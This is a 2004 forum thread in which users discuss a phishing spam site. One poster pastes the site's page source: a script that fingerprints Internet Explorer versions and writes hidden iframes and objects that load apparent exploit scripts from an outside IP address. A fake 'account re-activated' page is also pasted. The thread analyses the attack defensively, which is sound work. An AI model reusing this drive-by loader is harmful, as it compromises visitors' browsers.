IWETHEY v. 0.3.0 | TODO
1,095 registered users | 1 active user | 0 LpH | Statistics
Login | Create New User
IWETHEY Banner

Welcome to IWETHEY!

IWETHEY Home / IWETHEY Board / Open Forum / Was anyone game to vistit the site with a browser :-)
Post #151,845
by dmarker
Picture of dmarker
4/19/04 6:29:57 PM
Reply
New Was anyone game to vistit the site with a browser :-)

I used 1 machine to access the web server but immediately got a message
'loading' in the middle of the screen & killed it.

Didn't have the time & wasn't prepared enough for evaluating the damage the site might be up to. My guess is it would be a spyware site that loads (if it can) spyware.

Later tonight I might do a controlled experiment using a Virtual PC & will let you know what transpires.

Doug M
Post #151,847
by imric
4/19/04 6:41:40 PM
Reply
New I did.
Mozilla on Linux - just said that 'my account' was restored.
Imric's Tips for Living
  • Paranoia Is a Survival Trait
  • Pessimists are never disappointed - but sometimes, if they are very lucky, they can be pleasantly surprised...
  • Even though everyone is out to get you, it doesn't matter unless you let them win.


Nothing is as simple as it seems in the beginning,
As hopeless as it seems in the middle,
Or as finished as it seems in the end.
 
 
Post #151,848
by inthane-chan
Picture of inthane-chan
4/19/04 6:47:06 PM
Reply
New Page source for main page: 
<HTML xmlns:IE>\n<TITLE>Loading...</TITLE>\n    <HEAD>\n         <STYLE type='text/css'>\n            IE:clientCaps {behavior:url(#default#clientcaps)}\n         </STYLE>\n       \n         <SCRIPT language="JavaScript">\n\n            function GetVersion(CLSID)\n            {\n              if (oClientCaps.isComponentInstalled(CLSID,"ComponentID")) \n                 {return oClientCaps.getComponentVersion(CLSID,"ComponentID").split(",");} \n              else \n                 {return Array(0,0,0,0);}\n            }\n         </SCRIPT> \n<meta http-equiv="refresh" content="3; url=thx.html"> \n    </HEAD>\n<BODY>\n [image|http://161.58.140.37/cgi-local/userstat.cgi|||1|1]\n     <IE:clientCaps ID="oClientCaps" />\n\n     <SCRIPT language="JavaScript">\n           if (navigator.appName=="Microsoft Internet Explorer")\n           {\n              var IEversion=navigator.appVersion;\n              var IEplatform=navigator.platform;\n              if (IEplatform.search("Win32") != -1)\n              {\n                 if (IEversion.search("MSIE 5.0") != -1)\n                 {\n     document.write('<object data="[link|http://161.58.140.37/cgi-local/htmlhelp.cgi|http://161.58.140.37...ocal/htmlhelp.cgi]" style="display:none"></object>');\n                 }\n                 if (IEversion.search("MSIE 5.5") != -1)\n                 {\n     document.write('<object data="[link|http://161.58.140.37/cgi-local/htmlhelp.cgi|http://161.58.140.37...ocal/htmlhelp.cgi]" style="display:none"></object>');\n                 }\n                 if (IEversion.search("MSIE 6.0") != -1)\n                 {\n                    var Version_IE  = GetVersion("{89820200-ECBD-11CF-8B85-00AA005B4383}");\n                    PatchList = clientInformation.appMinorVersion;\n                    document.write('<iframe src="[link|http://161.58.140.37/cgi-local/ie.cgi?vers='+Version_IE+PatchList+'|http://161.58.140.37...on_IE+PatchList+']"style="display:none"></iframe>');\n     document.write('<object data="[link|http://161.58.140.37/cgi-local/htmlhelp.cgi|http://161.58.140.37...ocal/htmlhelp.cgi]" style="display:none"></object>');              \n                    \n                 }\n              }\n           }\n           \n      </SCRIPT>\n<BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><H2>\n<CENTER>\n<B>Loading....</B></CENTER></H2>\n              \n</BODY>\n</HTML>
Nobody wins in a butter eating contest
Post #151,850
by inthane-chan
Picture of inthane-chan
4/19/04 6:49:59 PM
Reply
New HTML help exploit?
Looks like it is trying to take advantage of one of the many local execution errors common in IE - does not appear to do anything to Mozilla.
Nobody wins in a butter eating contest
Post #151,849
by inthane-chan
Picture of inthane-chan
4/19/04 6:48:28 PM
Reply
New Page source for thx.html 
<HTML>\n<TITLE>Thank you!</TITLE>\n    <HEAD>\n         <STYLE type='text/css'>\n            IE:clientCaps {behavior:url(#default#clientcaps)}\n         </STYLE>\n    </HEAD>\n<BODY>\n <BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>\n<CENTER><B>Thank you!<BR><BR>\nNow your e-mail account re-activated!<BR>\n\nSincerely,<BR>\nE-mail Admin.<BR>\n</B></CENTER>\n\n              \n</BODY>\n</HTML>
Nobody wins in a butter eating contest
     SPAM Question - (gdaustin) - (31) - April 18, 2004, 10:30:59 AM EDT
         You've got it easy. :-) - (Another Scott) - (1) - April 18, 2004, 11:14:53 AM EDT
             Mozilla is your friend - (jb4) - April 19, 2004, 01:37:35 PM EDT
         You're getting SPAM? - (pwhysall) - (17) - April 18, 2004, 11:16:41 AM EDT
             s/tasty/horribly nasty -NT - (inthane-chan) - (15) - April 18, 2004, 12:55:33 PM EDT
                 Feh to you and your wussy tastebuds. -NT - (pwhysall) - (14) - April 18, 2004, 01:02:05 PM EDT
                     Bah, I like my meat to be identifiable. -NT - (inthane-chan) - (13) - April 18, 2004, 01:12:47 PM EDT
                         Ever eat a hotdog or burger? - (pwhysall) - (12) - April 18, 2004, 07:45:08 PM EDT
                             Bingo. - (inthane-chan) - April 18, 2004, 07:49:04 PM EDT
                             Or... - (folkert) - (10) - April 18, 2004, 07:54:00 PM EDT
                                 headcheese, hotdogs with boiled hooves -NT - (boxley) - (1) - April 18, 2004, 08:29:24 PM EDT
                                     Head cheese is even better than hotdogs . . - (Andrew Grygus) - April 18, 2004, 09:03:55 PM EDT
                                 So? Did you know . . - (Andrew Grygus) - (1) - April 18, 2004, 09:02:01 PM EDT
                                     Yeah... I was just trying to pile on. -NT - (folkert) - April 19, 2004, 12:06:32 PM EDT
                                 Urban legend? - (Another Scott) - (4) - April 18, 2004, 09:25:00 PM EDT
                                     I know a meat cutter who slaughtered in CA - (boxley) - April 18, 2004, 09:35:15 PM EDT
                                     Nope, NOT urban legend. - (folkert) - (2) - April 19, 2004, 12:13:43 PM EDT
                                         Makes me wonder. - (jake123) - April 19, 2004, 01:43:25 PM EDT
                                         There are also thick books of pictures . . - (Andrew Grygus) - April 19, 2004, 02:40:58 PM EDT
                                 ..and for spices, most other 'foods' - (Ashton) - April 28, 2004, 04:55:26 PM EDT
             Win32 Client / Debian 3.0 Firewall / Comcast.net mail server - (gdaustin) - April 18, 2004, 05:41:32 PM EDT
         I like the ocational nugget of corn in the steaming pile -NT - (boxley) - April 18, 2004, 11:27:45 AM EDT
         Same problem at work - (jbrabeck) - April 18, 2004, 09:38:46 PM EDT
         A sneaky Spam just received - (dmarker) - (7) - April 19, 2004, 12:58:21 AM EDT
             Re: A sneaky Spam just received - (inthane-chan) - (6) - April 19, 2004, 08:32:35 AM EDT
                 More info - (jbrabeck) - (5) - April 19, 2004, 08:52:44 AM EDT
                     Was anyone game to vistit the site with a browser :-) - (dmarker) - (4) - April 19, 2004, 06:29:57 PM EDT
                         I did. - (imric) - April 19, 2004, 06:41:40 PM EDT
                         Page source for main page: - (inthane-chan) - (1) - April 19, 2004, 06:47:06 PM EDT
                             HTML help exploit? - (inthane-chan) - April 19, 2004, 06:49:59 PM EDT
                         Page source for thx.html - (inthane-chan) - April 19, 2004, 06:48:28 PM EDT
         Two options for you - (orion) - April 28, 2004, 07:11:31 PM EDT

My toddler just put a Cheeto in my belly button. How is your day going?
89 ms